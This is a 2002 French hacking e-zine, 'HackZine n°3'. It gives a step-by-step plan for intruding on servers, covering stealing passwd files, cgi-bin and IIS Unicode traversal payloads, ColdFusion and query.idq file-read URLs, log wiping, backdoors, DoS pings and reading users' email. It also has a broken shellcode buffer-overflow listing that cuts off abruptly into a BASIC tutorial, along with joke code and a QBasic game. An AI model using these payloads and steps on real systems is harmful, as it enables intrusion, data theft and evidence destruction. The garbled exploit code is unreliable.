_______________________________________________________________________________________ ( ) ( H H A CCCCC K K ZZZZZZ I N N EEEEEEE ) ( H H A A C K K Z I NN N E ) ( HHHHHH A A C KKK Z I N N N EEEEE ) ( H H AAAAAAA C K K Z I N N N E ) ( H H A A C K K Z I N N N E ) ( H H A A CCCCC K K ZZZZZZZ I N NN EEEEEEE ) _______________________________________________________________________________________ -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= * Désolé pour la mauvaise qualité de cette présentation, chuis nul en ascii art ... HackZine, n°3 / By [Kefka]* **************************************************************************************************************** * * |--------------------------------------------| // Dans ce numéro * |-------------~~~~~~~~~~~~~~~----------------| -------------- * |-------------===============----------------| Introduction :=) * |------------- Hack rulez ----------------| 1. Plan d'attaque d'un serveur * |-------------_______________----------------| 2. Over-clocking de grille-pain * |--------------___HackZine___----------------| 3. Liste des ports les plus connus * |-------------/ number three \---------------| 4. Hacker un serveur Windaube... ;) * |------------( By [Kefka] )--------------| 5. La joie des buffer overflow * |-------------| ***** |---------------| 6. La programmation en Basic * |-------------~~~~~~~~~~~~~~~~---------------| 7. Quelques astuces sur la BDR * |--------------------------------------------| 8. Dérégler le Bios de son pc * |---------------- Mai 2002 -----------------| 9. Madchat.org was hacked (By _2) * |--------------------------------------------| 10. Conclusion (pour finir ;) ) * * * **************************************************************************************************************** -------------- ( Introduction ) -------------- Well, come ! HackZine, troisième épisode de la saga, avec now une version destinée aux hackers barjOs, donc écrite uniquement avec NotePad (arf, aucun rapport... ) . Au sommaire donc, comme vous pouvez le constater, plein d'articles ininteressants sur le hacking de grille-pain, la programmation en BASIC, un langage vieux de 15 ans (:p), des failles bidon, du Windows à gogo des eclairssisments sur certains points (du moins je l'espère) et en prime, comment niquerle Bios de son pc !!! Chouette, c'est mes parents qui vont être contents... Pis je tiens kan meme à préciser que j'ai écris ce zine seul (koi c pas possible ???), et que je ne pourrais être en aucun cas responsable de ce que VOUS ferez avec le contenu de ce txt bla bla... Rappel important : cet e-zine n'est pas destiné aux personnes suivantes : -lamers (je DETESTE les lamers) -personnes travaillant dans l'administration -personnes travaillant pour le gouvernement (beurkkkk) -les V, fuck DST lol -les personnes cardiaques -les animaux (ahem...) -les extra-terrestres (zzzzzzz) -les anti-hackers (rrrrrrrr) -ba c'est tout je crois :o Yeahhhhhhhhhhhh, now, on attaque !!! Ready? GOOOOOOOOOOOOOOO -------------------------------- ( 1. Plan d'attaque d'un serveur ) -------------------------------- # Etape 1 : Recupération des informations de l'host >> Quelques commandes Linux: $ finger @ip_serveur $ nmap @ip_serveur $ traceroute @ip_serveur Si FTP anonyme, alors on fait : $ get etc/passwd , pour récupérer le fichier passwd, que l'on décryptera avec un utilz comme John the ripper, sauf si le pass est shadow, dans ce cas présent on ne peut rien faire, à moins que le vrai fichier soit dans un repertoire en d rwxr-xr-- , mais bon c'est rare ... Si nmap donne 69 comme port ouvert : Il y'a une faille tftp, on essaye donc $ evil %tftp $ get etc/passwd Même chose que pour FTP anonymous La commande finger nous permettra de voler le nom des users La commande traceroute nous permettra d'avoir des infos sur le srv afin de le mapper. Les failles présentées avec nmap peuvent également nous permettre d'anticiper des "dénis de service" ,des "buffer overflow" nous y reviendrons plus tard. Sinon nous pouvont lancer des scans de failles sur le serveur, grâce à des programmes comme NESSUS ou SATAN , failles qui pourraient être très intéressantes par la suite... Et si vous êtes un adepte de Windaube, d/l WsPingProPack, il peut vous donner le même type d'informations. (pour le scan de failles, d/l VulnerabilityScanner ou NTscan, si vous comptez hacker un srv windows...) # Etape 2 : Création d'un compte sur le serveur Si il existe un compte guest ou anonymous sur le serveur, c'est gagné. Sinon, il va vous falloir mounter ce compte Commande mount , pour monter sa partition via NFS Puis créer un uid dans le ficher passwd, puis créer un fichier rhost pour pouvoir se connecter à notre compte guest via la commande rlogin... ;= Bon, cet exploit rlogin est malheureusement obsolète, et marche de moins en moins souvent... Qu'importe, il existe plein d'autres exploits remote user, à chercher sur le net (bon courage). Ou sinon, on peut profiter d'une faille sur le serveur pour se forger un compte/accès. Exemple de failles : -Faille include/php , qui permet d'inserer du script dans les pages. Avec un script comme celui-ci, on pourra se logguer facilement : On place ca sur son serveur, et on l'execute a partir du site. On obtient donc par ce script un account "Apache" sur le serveur... La grande classe ... -Failles unicode, relatives à WindowsNT/XP/2000 Celles ci pourront nous permettre d'avoir accès au contenu du serveur. http://www.site.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+/s+c:\ Mais bon, cette faille là est relative à Windaube, donc pas de root à la clé, c'était juste histoire de parler des failles UNICODES... :)) -Failles cgi-bin, qui permettent de faire un tas de trucs, du genre : /cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd , qui peut etre utlisée pour lire le fichier passwd /cgi-bin/php.cgi?/etc/passwd, même chose /cgi-bin/phf?Q=x%0apwd , voir les repertoires Etc, etc... Il y'en a des tonnes des comme ça, impossible de tout mettre Ce doc a juste pour but de vous présenter le schéma d'une attaque basique ne l'oublions pas... ;)) # Etape 3 : Exploitation des failles Ce n'est pas le même type de failles que tout à l'heure... Ces failles vont nous permettre de nous "rooter" sur le système. Quel type de failles? Ce sont généralement des failles dues à des programmes, comme par exemple Sendmail, ou le célèbre exploit de la commande umount pour les SunOs ou encore des buffer overflow (dépassement de tampon, voir chapitre 5) , très à la mode chez les script kiddies. On va donc chercher un exploit exploitant les faiblesses auparavant détectées sur le serveur. De toute évidence cela sera un exploit de type local root. On va ensuite le placer sur son propre compte, le compiler (avec la commande $ gcc), puis l'éxécuter sur le serveur... Et si vous avez bien bosser, le shell root vous aurez... (cf. Frhack ;p) # Etape 4 : On cache les preuves... Si vous venez d'infiltrer un système, la moindre des choses, c'est de ne pas se faire prendre... Tout bon hacker devra alors effacer ses sales traces de pattes sur le serveur, en effacant ou en éditant les fichiers logs du serveur, succpetibles de vous retrouver. Ces fichiers logs sont au nombre de trois : Syslog, lastlogs et historiques sont des fichiers auxquels il faut faire très très attention ... Attention aux manips trop douteuses, agissez donc de nuit, avec précaution, sans effectuer de modifications trop, ahem... voyantes ... :( Une fois les preuves cachés, on aura du mal à vous retrouver !! (cf. moi même... ) # Etape 5 : On fabrique une backdoor On va devoir maintenant s'aménager une backdoor, une "porte de derrière" pour pouvoir revenir quand bon nous semble sur le serveur. De nombreuses backdoor déjà toutes faites vous attendent sur le Net (comment ne pas parler ici du célébre "rootkit", qui fit la joie des script kiddies l'été dernier...) Le problème, c'est quand dans la plupart des cas, il faudra rebooter le serveur pour activer la backdoor... Où est le problème ??? Et bien, simplement, les serveurs ont une adresse IP fixe, et sont donc connectés 24 heures sur 24 sur la toile... Alors, pour rebooter ces infatigables serveurs, il vous faudra faire ce que l'on apelle un "dénis de service", aussi apellé Denial of Service, ou DoS selon votre niveau en Anglais... :p Exemple de DoS ? Heuuu par exemple vous pouvez programmer (beurkk oui je sais c'est chiant :p) un script qui executera une série de commandes aléatoire de manière répétitive qui pourront, à force, faire planter le serveur... Egalement, vous pouvez utliser la technique de l'oversize packet : ping -| 65000 www.site.com Ou 65000 correspond au nombre de requêtes ping à envoyer, il faut en mettre suffisament pour faire rebooter le serveur... Mais bon, la plupart du temps vous recevrez un message de time out, et puis c'est assez long comme méthode, faut être patient... :p Sinon, maitenant que vous êtes root, vous pouvez aussi installer un BEAU sniffer en tête de réseau, avec filtre sur rlogin/rpass ... mmmm Arf, enfin rêvez pas trop quand même... Parce qu'on peut en faire des choses quand on est root... Justement >> # Etape 6 : Kekonfé kan kon est root ??? Y'a plein de trucs à faire... Déjà vous avez l'idée du sniffer, que je ne vais pas réexpliquer ici. Sinon, vous pouvez faire ce que font à peu près 90% des hackerz quand ils infiltrent un système, c'est à dire modifier la page d'accueil du site, généralement index.htm , vous pouvez fouiller dans /pub pour ça.. :)) Un truc à pas faire quand même, les crashs, c'est à dire niquer tous les fichiers, nan nan c'est pas bien ça... Respectons quand même les admins réseau !!! :/ Mais encore... Euhhhh je vois pas là, intercepter des courriers électroniques peut être? Les e-mails normalement constitués sont placés dans /usr/truc/mail ... Bon, j'ai pas trop d'idées, je vous épargne les techniques de syn flood, vraiment trop lame ... Enfin, comme disait Octagon dans NoRoute#1, le but d'un root, c'est surtout de l'avoir... N'est ce pas ??? !!! --------------------------------- ( 2. Over-clocking de grille-pain ) --------------------------------- *. Avant de commencer -=-=-=-=-=-=-=-=-=-=-= Il est d'abord nécessaire de revoir la chartre du programmeur, les principales règles à respecter... 10 commandements exactement :) Voilà donc le réglement intérieur du parfait programmeur : 1. Ne jamais faire simple quand on peut faire compliqué, exemple pour afficher un message, on préferera une ligne du genre : for (i=0, i<=int rand*99999, i++) { printf("\nProg\irulez"); } plutôt que : printf("Progrulez"); ... 2. Ne jamais insérer de commentaires dans son programme, ou alors des commentaires qui n'ont rien à voir avec le programme. 3. Recopier les codes sources des autres et mettre son nom à la place peut être également une très bonne idée, à condition de changer deux trois trucs... 4. Si quelqu'un vous pose une question sur votre programme, tachez de répondre le moins clairement possible, ou encore d'ignorer votre interlocuteur. Sinon il pourrait penser que vous êtes un gars cool, et risquerait de vous poser d'autres question chiantes... 5. Ne jamais rendre le code source d'un programme dans les temps prévus, sinon on pourrait penser que le programme était facile à mettre en place, et donc on vous manquerait de respect. 6. Ne jamais créer des programmes pouvant être utile pour les autres gens, sinon on vous respecterait trop, et on pourrait encore une fois vous poser des questions. 7. Ecrire donc surtout des programmes sans intêret, sans aucun sens, ou qui développent des ressources encore inutilisables pour l'instant (comme c'est le cas pour le programme) 8. Pour créer un programme, vous pouvez aussi reprendre des codes sources que vous aviez auparavant écris, ne vous inquietez pas, personne ne se doutera de rien. 9. La programmation peut rendre dépendant, alors n'en abusez pas trop où vous ne tarderez pas à rejoindre le club des "Programmeurs Anonymes", c.f : Première ligne, J.M Laclavetine 10. Afin de peaufiner votre travail, n'hésitez pas à rajouter des petits commentaires du style "Thanks untel", comme c'est le cas pour le programme que je vais vous présenter. En effet, ces remerciements vous permettront de montrer aux gens que vous avez des amis... Et puis, la règle ultime, bien sûr, c'est de NE PAS PROGRAMMER, ça peut être très mauvais pour la santé pensez-y... Bon, allez now on va apprendre à overclocké un grille-pain, en respectant bien naturellement les dix commandements du parfait programmeur... LOL 1. Le principe -=-=-=-=-=-=-=- Si il y'a une question existentielle que tout le monde s'est posé au moins une fois dans sa vie, c'est sûrement celle-ci : "Peut on griller des tartines à partir de son pc ?" Après de nombreuses heures de travaux intempestifs, j'ai enfin crée LE programme, le seul, qui vous permettra de connecter votre grille-pain à votre pc. Alors, comment kon fé ??? Et bien pour cela c'est très simple, nous allons connecter notre grille-pain sur le port USB qui va se connecter au socket de notre tartine (si si je vous assure !). Cette connection va amplifier progressivement la chaleur de l'unité centrale, et provoquer au final un court circuit complet dans un rayon d'action de 200 mêtres carrés... Pour cela nous allons donc créer un programme, qui permetra à n'importe quel utlisateur lambda de faire griller ses propres tartines sur son pc, au moyen de la chaleur dégagée par l'UC... En effet, vous imaginez bien, votre pc ne va pas se mettre à griller vos tartines par magie... Etudions donc les différentes structures de ce programme. NB : Malgrès mes nombreuses recherches sur le sujet, je n'ai pas encore trouvé comment faire pour connecter un grille-pain sur Internet. Alors, si vous le savez contactez moi, la science en a besoin !! nickairmax@caramail.com 2. La structure de notre socket -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Si vous êtes habitués à la programmation réseau , vous savez déjà comment se compose la création d'une socket en C, c'est à dire: int socket(int domain, int type, int protocol); Où : - domain représente le domaine d'adressage de la socket. Pour notre grille-pain, le domaine sera donc AF_GRILLEPAIN , conformément aux documents RFC 23/9/14/4/15/23/19 (pouah y'a du billou la dessous :p) - type représente la manière dont la socket va transmettre les données. Donc, dans notre programme le type sera SOCK_USB , car nous transmettrons les données du port USB au grile-pain - protocol désigne le protocole employé par la socket. Ici, cela sera le protocole IP_PROTO_TARTINE , numéroté 65536 sur la liste des ports... Nous savons donc comment se formera la socket de notre grille-pain : Tartine = socket(AF_GRILLEPAIN, SOCK_USB, IPPROTO_TARTINE) Ces domain, type et protocol spécifique sont contenus das la librairie sys/tartine.h . Maintenant on va s'occuper de la cuisson de la tartine, défini dans la fonction grillage(), ellemême définie dans la librairie de fonctions sys/grille-pain.h . Cette fonction s'organise comme ça : grillage(tartineName, Voltage, durée) Où Voltage et Durée sont normalement définis dans les headers. (A noter que durée est facultatif dans cette fonction, si la durée a déjà été incrémentée dans la boucle for, ce qui est le cas ici) Voilà, vous savez tout, place au programme complet. 3. Le code source -=-=-=-=-=-=-=-=-= /********************** GrillageTotal.c , By [Kefka] ***********************/ /* Si vous comprendez quoi que ce soit au programme, veuillez me contactez */ /* Idem si vous arrivez à vous procurer les librairies décrites ci dessous */ /* Contactez moi donc à nickairmax@caramail.com ou retrouvez moi sur irc.. */ /***************************************************************************/ /* Déclaration des directives G/T (grille-pain/tartine) et E/S (entrée, sortie) */ #include #include #include #include /* Déclaration des define */ #define Voltage = 220 // 220 volts pour la France #define Durée = 180 // 3 minutes me semble être une bonne durée pour faire griller une tartine alimentée par 220 volts... (dsl je suis TRES mauvais cuisinier) int grille-pain(char tartine[], int durée) // Fonction grille-pain, thanks "Le livre du parfais cuisinier" { struct sockaddr_in addrsocket; // Structure sockaddr struct hostent *tartine; // Déclaration de la structure hostent, qui porte sur le pointeur "tartine" tartine = getcountrybyVoltage(tartineName); // Localisation de la tartine en fonction du voltage (ici 220 volts) addrsocket.sin_family = AF_GRILLEPAIN; // Initialisation des structures, enfin bref... addrsocket.sin_addr = *(struct in_addr*)tartine -> h_addr; // Affectation de l'adresse du socket printf("Lancement de: , tartine -> h_name); // Affichage de l'adresse IP de la tartine en fonction de sa localisation for (i=0, i<= durée, i++) // Boucle for, qui détermine la durée de la cuisson ;) { tartine = socket(AF_GRILLEPAIN, SOCK_USB, IPPROTO_TARTINE); // Notre fameuse socket de tartine, que l'on connecte au port USB grillage(tartine, Voltage); // La fonction grillage() s'occupe de la cuisson printf("La tartine %s est prête à être mangée, bon appetit !!\n", tartinename); // La tartine est grillée, cool close(tartine); // on ferme la socket de la tartine } } } int main(void) // Notre fonction principale printf("Bienvenue dans GrillageTotal , codé par [Kefka]\n"); printf("Veuillez insérez la tartine dans le grille pain, donnez un nom à votre tartine et appuyez sur entrée\n"); scanf(" %s", tartinename); if(connect(tartine,(struct sockaddr *)&addrsocket, sizeofaddrsocket)>=0) // On teste si la connection a reussi... { grille-pain(tartinename); // Et si oui, alors on apelle la fonction grille-pain() pour griller la tartine. } return 0; } 4. Bonus -=-=-=-=-= Pour compiler : gcc GrillageTotal.c -o GrillageTotal Attention tout de même à ne pas trop abuser avec ce programme, car il est succeptible d'être dangeureux, surtout si vous arriver à le faire fonctionner... Très prochainement, le détail des librairies de fonctions utlisées !!! Bon fun, à bientôt !!! ------------------------------------ ( 3. Liste des ports des plus connus ) ------------------------------------ Cette liste est présente sur le fichier 'listedesports.txt' , ci-joint. Pour des raisons de place, il met impossible d'en diffuser ici le contenu (NDLR : la bête fait quand même plus de 300 ko !! ), et puis, foutre la liste des 65536 (en comptant le protocole tartine, cf. chapitre précédent :p) ports rallongerait considérablement cet e-zine... Quoique, sans cette liste, du coup je me retrouve avec un e-mag pourri de 20 pages !!! grrr bon on continue le massacre ;) --------------------------------- ( 4. Hacker un serveur Windows NT ) --------------------------------- Les ordinateurs bootant sous Windows ont toujours été mes cibles favorites... En effet Windows est bourré de bugs en tout en genre, qui donnent carrèement envie de sauter par la fenêtre... (c'est sans doute pour ça que cela s'apelle Windows) On se demande même si Billou ne ferait pas un peu exprès de nous refiler des O.S de merde, qui font, il faut le dire, pâle figure - point de vue technique - aux autres systèmes d'exploitation comme les nombreuses distrib' Linux ou BSD , pour ne citer qu'eux... Point de vue technique seulement... Faut quand même dire que ce satané Windows se vend plutôt bien (la preuve je l'ai, moi ! :p) . Mais on va surtout parler des failles facilement exploitables des serveurs tournant sous Windows, seveurs IIS, tout ça... Le principal défaut des serveurs pour windows, c'est qu'ils tournent sous Windows (et oui ! mdr) et ce système est loin d'être parfait... J'entend déjà les puristes me dire que Windows peut être très 'secure' si il est bien configuré... Encore faudrait il bien les configurer ! De toute façon, Windows en lui même est mal foutu... Un utilisateur qui a accès à un serveur Windows a tous les droits dessus ! Alors si vous tenez à vos chtits fichiers optez pour un O.S multi-utilisateurs, genre Linux (bien que Linux soit pas non plus au top de la sécurité héhéhé) Et pour finir, ce qui est bien avec l'informatique en général, c'est que un système sécurisé n'existe pas !!! Du moins pour le moment... Bon, j'arrête mon speech, on va tout de suite passer à la pratique. Voilà donc un petit récapitularif des failles relatives à windowsNT ( la vache y'en a beaucoup ! ;p) FAILLE IIS UNICODE La faille IIS Unicode est une faille très connue, qui a d'ailleurs fait les beaux jours des script kiddies l'été dernier (et qui continue encore à faire mon bonheur :)) ) Elle permet de pénétrer un serveur et de voir tous les fichiers qui y sont ainsi que de les copier, les supprimer et en créer de nouveaux. Elle permet également d'uploader des fichiers locaux et de downloader des fichiers distants, mmm Voilà la commande a rentrer dans votre navigateur pour pouvoir pénétrer un serveur ayant la faille iis unicode : http://site/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+/s+c:\ Exemple : http://www.sitedemoncul.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+/s+c:\ Et cela fait un dir sur le serveur, à partir de là vous allez pouvoir vous amuser :p Autres commandes : COPY : Copie un ou plusieurs fichiers vers un autre emplacement DEL : Supprime un ou plusieurs fichiers DIR : Affiche une liste de fichiers et de sous-répertoires dans un répertoire. EDIT : Editeur de texte en mode DOS MD : Crée un répertoire RD : Supprime ou efface un répertoire REN : Renomme un fichier/répertoire ou un groupe de fichiers/répertoires Toutes ces commandes sont à mettre a la place de dir et il fo enlever le /s : Exemple : http://lesite/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+/s+c:\ A noter également que vous pouvez remplacer le /scripts/ par /iisadmin ou /_vti_bin/. Pour faciliter les choses, procurez vous VulnerabilityScan ou NTscan ... ;= FAILLE COLDFUSION Cette faille vous permet d'afficher n'importe quel fichier present sur le disque dur de l'hote. Exemple : http://www.site.com/cfdocs/expeval/exprcalc.cfm?OpenFilePath=c:\autoexec.bat Ceci affichera le fichier c:\autoexec.bat arffffff FAILLE .htr Cette faille permet d'afficher le contenu d'un fichier. Exemple : http://www.sitebidon.com/fichier.txt+.htr FAILLE shtml.exe Cette faille permet d'obetnir le path du site web sur le disque dur du serveur (path qui est par defaut c:\InetPub\wwwroot\). Pour l'exploiter il faut aller à cette adresse : http://www.sitebidon/_vti_bin/shtml.exe/fichier.htm Mais avec shtml, on peut surtout faire executer du script hostile :) http://www.sitebidon.domainebidon/shtml/ Vous pouvez par exemple envoyer des virus en javascript sur une boîte de reception, à partir de cette simple adresse ! Regardez, supposons que j'envoie ceci en html : for (i=0;i<5000;i++) { window.open("about:blank"); }Cliquez ici !!! :p Dès que la victime cliquera sur ce lien présenté en html, elle ira sur le site ayant la faille shtml.exe et executera sans le savoir mon code javascript, qui lui ouvrira 5000 fenêtres vides !! Bon, c'est juste un exemple hein, peux mieux faire... FAILLE shtml.dll Cette faille permet d'executer un script hostile : si, sur un site ce lien apparait : http://serveursecurise Le script sera passé dans la requête http et l'utilisateur qui a cliqué sur le lien arrivera sur le site serveur securise où une page d'erreur affichera le code hostile (et l'executera). Même chose que pour tout à l'heure... FAILLE query Cette faille permet aussi d'afficher n'importe quel fichier present sur le disque dur du serveur : http://site/query.idq?CiTemplate=../../../win.ini Ceci affichera le fichier win.ini à la racine du disque dur. Hummm voilà, y'en a déjà un paquet. Ca devrait vous divertir pour un bon moment... -------------------------------- ( 5. La joie des buffer overflow ) -------------------------------- Bon, le buffer overflow, vous devez connaître. En bref, le buffer overflow (nb: en français, ca veut dire "depassement de tampon") est une procédure visant à accèder à la zone mémoire d'un programme ayant le suid 0 , on va alors pouvoir obtenir un joli shell root... On va donc s'attaquer à la programmation d'un buffer overflow. Le buffer overflow que nous allons réaliser va forcer la mémoire et écraser la zone qui se trouve après, c'est à dire la valeur de retour de notre fonction. On va donc accèder, avec un peu de chance, à une zone de mémoire appartenant au root... Le shellcode varie selon le système d'exploitation. voici donc le listing d'un buffer overflow de base, avec un shellcode quelconque, le tout est que vous compreniez. /* Déclaration des headers */ #include /* Notre fameux shellcode */ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x3b\x00\x00\x00\x8d\x05\x3b\x00\x00\x00\x9a" "\x80\xe8\xdc\xff\xff/bin/sh"; char name1[128]; int main(int ac, char **av) { char name2[96]; int i; long *name3; name3 == (log *)name1; for (i=o; i<32; i++) *(name3 + i) = (int) name2; for (i=0; i 18 THEN GOTO 200 130 ELSE GOTO 150 140 REM si votre âge (B) est supérieur à 18, on va (GOTO) à la ligne 200. Sinon (ELSE) on va à la ligne 150 (GOTO 150) . 150 ? "ohh tu es très jeune encore !" 160 C=18-B 170 ? " tu seras majeur dans ";C 180 ? " années, bravo !" 185 ' on peut mettre n'importe quel numéro de lignes, pourvu que cela se suive. 190 GOTO 210 200 ? "oo tu es déjà majeur, bravo" 210 ? " bon je vais te laisser" 220 END Voilà, et c'est surement pour ça que cela s'apelle Basic, la langage est compréhensible par n'importe que néophyte !!! Certes, j'avoue que parfois, on a du mal à s'y retrouver... Voilà maintenant le code source d'un jeu que j'ai récupéré sur le Net (PS / Il n'est pas de moi, pas de fausse joie :(( ) Ah oui, à noter que ce programme a été écris en Qbasic, il y'a donc quelques différences à noter avec le basic, comme par exemple les lignes ne sont pas toutes numérotées. Ce programme vous mets dans la peau d'un ver de terre enfermé dans un labyrinthe... Un challenge vraiment intéressant... 22 CLS REM Ecran de présentation SCREEN 1 LINE (50, 10)-(20, 10) LINE (20, 10)-(20, 40) LINE (20, 40)-(50, 40) LINE (50, 40)-(50, 70) LINE (50, 70)-(20, 70) LINE (65, 10)-(115, 10) LINE (90, 10)-(90, 70) LINE (130, 10)-(175, 10) LINE (175, 10)-(175, 70) LINE (175, 70)-(130, 70) LINE (130, 70)-(130, 10) LINE (190, 10)-(190, 70) LINE (190, 10)-(230, 10) LINE (230, 10)-(230, 40) LINE (230, 40)-(190, 40) LINE (190, 40)-(230, 70) LINE (245, 10)-(245, 70) LINE (245, 10)-(273, 40) LINE (273, 40)-(301, 10) LINE (301, 10)-(301, 70) LINE (15, 5)-(306, 5) LINE (306, 5)-(306, 75) LINE (306, 75)-(15, 75) LINE (15, 75)-(15, 5) PRINT "" PRINT "" PRINT "" PRINT "" PRINT "" PRINT "" PRINT "" PRINT "" PRINT "" PRINT "" PRINT "" PRINT " Version 2" PRINT "" PRINT "" PRINT "" PRINT " Pour jouer" PRINT "" PRINT " Appuyez sur a" LINE (80, 110)-(200, 110) LINE (200, 110)-(200, 150) LINE (200, 150)-(80, 150) LINE (80, 150)-(80, 110) PRINT "" PRINT "" PRINT "" PRINT "" PRINT "(C)Copyright Clem Hedon Corp. 1999" 15 IF INKEY$ = CHR$(97) THEN GOTO 30 GOTO 15 30 CLS PRINT " " PRINT " " PRINT " Quelle difficult‚ ?" PRINT " " PRINT " " PRINT " " PRINT " " PRINT " 1 = facile" PRINT " 2 = moyen" PRINT " 3 = difficile" PRINT " 4 = impossible" LINE (70, 10)-(240, 10) LINE (240, 10)-(240, 30) LINE (240, 30)-(70, 30) LINE (70, 30)-(70, 10) REM Le programme définit le code décimal des touches et répond quand l'utilisateur presse une touche, la boucle GOTO se charge de la réponse. 16 c$ = INKEY$ IF c$ = CHR$(49) THEN GOTO 17 IF c$ = CHR$(50) THEN GOTO 18 IF c$ = CHR$(51) THEN GOTO 19 IF c$ = CHR$(52) THEN GOTO 20 GOTO 16 17 s = 2000 GOTO 21 18 s = 1000 GOTO 21 19 s = 500 GOTO 21 20 s = 200 GOTO 21 21 r = 0 0 CLS SCREEN 1 RANDOMIZE TIMER REM Déclaration des variables qui définiront la vitesse de jeu, en fonction du niveau choisi. b = INT(RND * 100) + 1 c = INT(RND * 100) + 1 d = 0 e = INT(RND * 100) + 1 f = INT(RND * 100) + 1 g = INT(RND * 100) + 1 h = INT(RND * 100) + 1 i = INT(RND * 100) + 1 j = INT(RND * 100) + 1 k = INT(RND * 100) + 1 l = INT(RND * 100) + 1 m = INT(RND * 100) + 1 n = INT(RND * 100) + 1 o = INT(RND * 100) + 1 REM Ci dessous le jeu en lui même LINE (40, 0)-(40, b) LINE (40, b + 20)-(40, 200) LINE (60, 0)-(60, c) LINE (60, c + 15)-(60, 200) LINE (80, 0)-(80, d) LINE (80, d + 20)-(80, 200) LINE (80, d)-(80, d + 20), couleur% = 1 LINE (100, 0)-(100, e) LINE (100, e + 15)-(100, 200) LINE (120, 0)-(120, f) LINE (120, f + 15)-(120, 200) LINE (140, 0)-(140, g) LINE (140, g + 15)-(140, 200) LINE (160, 0)-(160, h) LINE (160, h + 15)-(160, 200) LINE (180, 0)-(180, i) LINE (180, i + 15)-(180, 200) LINE (200, 0)-(200, j) LINE (200, j + 10)-(200, 200) LINE (220, 0)-(220, k) LINE (220, k + 10)-(220, 200) LINE (240, 0)-(240, l) LINE (240, l + 10)-(240, 200) LINE (260, 0)-(260, m) LINE (260, m + 10)-(260, 200) LINE (280, 0)-(280, n) LINE (280, n + 10)-(280, 200) LINE (300, 0)-(300, o) LINE (300, o + 5)-(300, 200) p = 0 q = 100 1 PSET (p, q) REM On définit les mouvements du ver de terre en fonction des touches préssées par l'utilisateur du programme. IF p = 40 AND q <= b THEN GOTO 4 IF p = 40 AND q >= b + 20 THEN GOTO 4 IF p = 60 AND q <= c THEN GOTO 4 IF p = 60 AND q >= c + 15 THEN GOTO 4 IF p = 100 AND q <= e THEN GOTO 4 IF p = 100 AND q >= e + 15 THEN GOTO 4 IF p = 120 AND q <= f THEN GOTO 4 IF p = 120 AND q >= f + 15 THEN GOTO 4 IF p = 140 AND q <= g THEN GOTO 4 IF p = 140 AND q >= g + 15 THEN GOTO 4 IF p = 160 AND q <= h THEN GOTO 4 IF p = 160 AND q >= h + 15 THEN GOTO 4 IF p = 180 AND q <= i THEN GOTO 4 IF p = 180 AND q >= i + 15 THEN GOTO 4 IF p = 200 AND q <= j THEN GOTO 4 IF p = 200 AND q >= j + 10 THEN GOTO 4 IF p = 220 AND q <= k THEN GOTO 4 IF p = 220 AND q >= k + 10 THEN GOTO 4 IF p = 240 AND q <= l THEN GOTO 4 IF p = 240 AND q >= l + 10 THEN GOTO 4 IF p = 260 AND q <= m THEN GOTO 4 IF p = 260 AND q >= m + 10 THEN GOTO 4 IF p = 280 AND q <= n THEN GOTO 4 IF p = 280 AND q >= n + 10 THEN GOTO 4 IF p = 300 AND q <= o THEN GOTO 4 IF p = 300 AND q >= o + 5 THEN GOTO 4 IF d = 180 THEN GOTO 5 IF p = 80 AND q <= d THEN GOTO 4 IF p = 80 AND q >= d + 20 THEN GOTO 4 IF p = 320 THEN GOTO 8 LINE (80, 0)-(80, d) LINE (80, d + 20)-(80, 200) LINE (80, d)-(80, d + 20), couleur% = 1 d = d + 1 p = p + 1 c$ = INKEY$ IF c$ = CHR$(53) THEN GOTO 2 IF c$ = CHR$(50) THEN GOTO 3 FOR z = 1 TO s NEXT GOTO 1 2 PSET (p, q) IF p = 40 AND q <= b THEN GOTO 4 IF p = 40 AND q >= b + 20 THEN GOTO 4 IF p = 60 AND q <= c THEN GOTO 4 IF p = 60 AND q >= c + 15 THEN GOTO 4 IF p = 100 AND q <= e THEN GOTO 4 IF p = 100 AND q >= e + 15 THEN GOTO 4 IF p = 120 AND q <= f THEN GOTO 4 IF p = 120 AND q >= f + 15 THEN GOTO 4 IF p = 140 AND q <= g THEN GOTO 4 IF p = 140 AND q >= g + 15 THEN GOTO 4 IF p = 160 AND q <= h THEN GOTO 4 IF p = 160 AND q >= h + 15 THEN GOTO 4 IF p = 180 AND q <= i THEN GOTO 4 IF p = 180 AND q >= i + 15 THEN GOTO 4 IF p = 200 AND q <= j THEN GOTO 4 IF p = 200 AND q >= j + 10 THEN GOTO 4 IF p = 220 AND q <= k THEN GOTO 4 IF p = 220 AND q >= k + 10 THEN GOTO 4 IF p = 240 AND q <= l THEN GOTO 4 IF p = 240 AND q >= l + 10 THEN GOTO 4 IF p = 260 AND q <= m THEN GOTO 4 IF p = 260 AND q >= m + 10 THEN GOTO 4 IF p = 280 AND q <= n THEN GOTO 4 IF p = 280 AND q >= n + 10 THEN GOTO 4 IF p = 300 AND q <= o THEN GOTO 4 IF p = 300 AND q >= o + 5 THEN GOTO 4 IF q <= 0 THEN GOTO 4 IF d = 180 THEN GOTO 6 IF p = 80 AND q <= d THEN GOTO 4 IF p = 80 AND q >= d + 20 THEN GOTO 4 LINE (80, 0)-(80, d) LINE (80, d + 20)-(80, 200) LINE (80, d)-(80, d + 20), couleur% = 1 d = d + 1 q = q - 1 IF INKEY$ = CHR$(51) THEN GOTO 1 FOR z = 1 TO s NEXT GOTO 2 3 PSET (p, q) IF p = 40 AND q <= b THEN GOTO 4 IF p = 40 AND q >= b + 20 THEN GOTO 4 IF p = 60 AND q <= c THEN GOTO 4 IF p = 60 AND q >= c + 15 THEN GOTO 4 IF p = 100 AND q <= e THEN GOTO 4 IF p = 100 AND q >= e + 15 THEN GOTO 4 IF p = 120 AND q <= f THEN GOTO 4 IF p = 120 AND q >= f + 15 THEN GOTO 4 IF p = 140 AND q <= g THEN GOTO 4 IF p = 140 AND q >= g + 15 THEN GOTO 4 IF p = 160 AND q <= h THEN GOTO 4 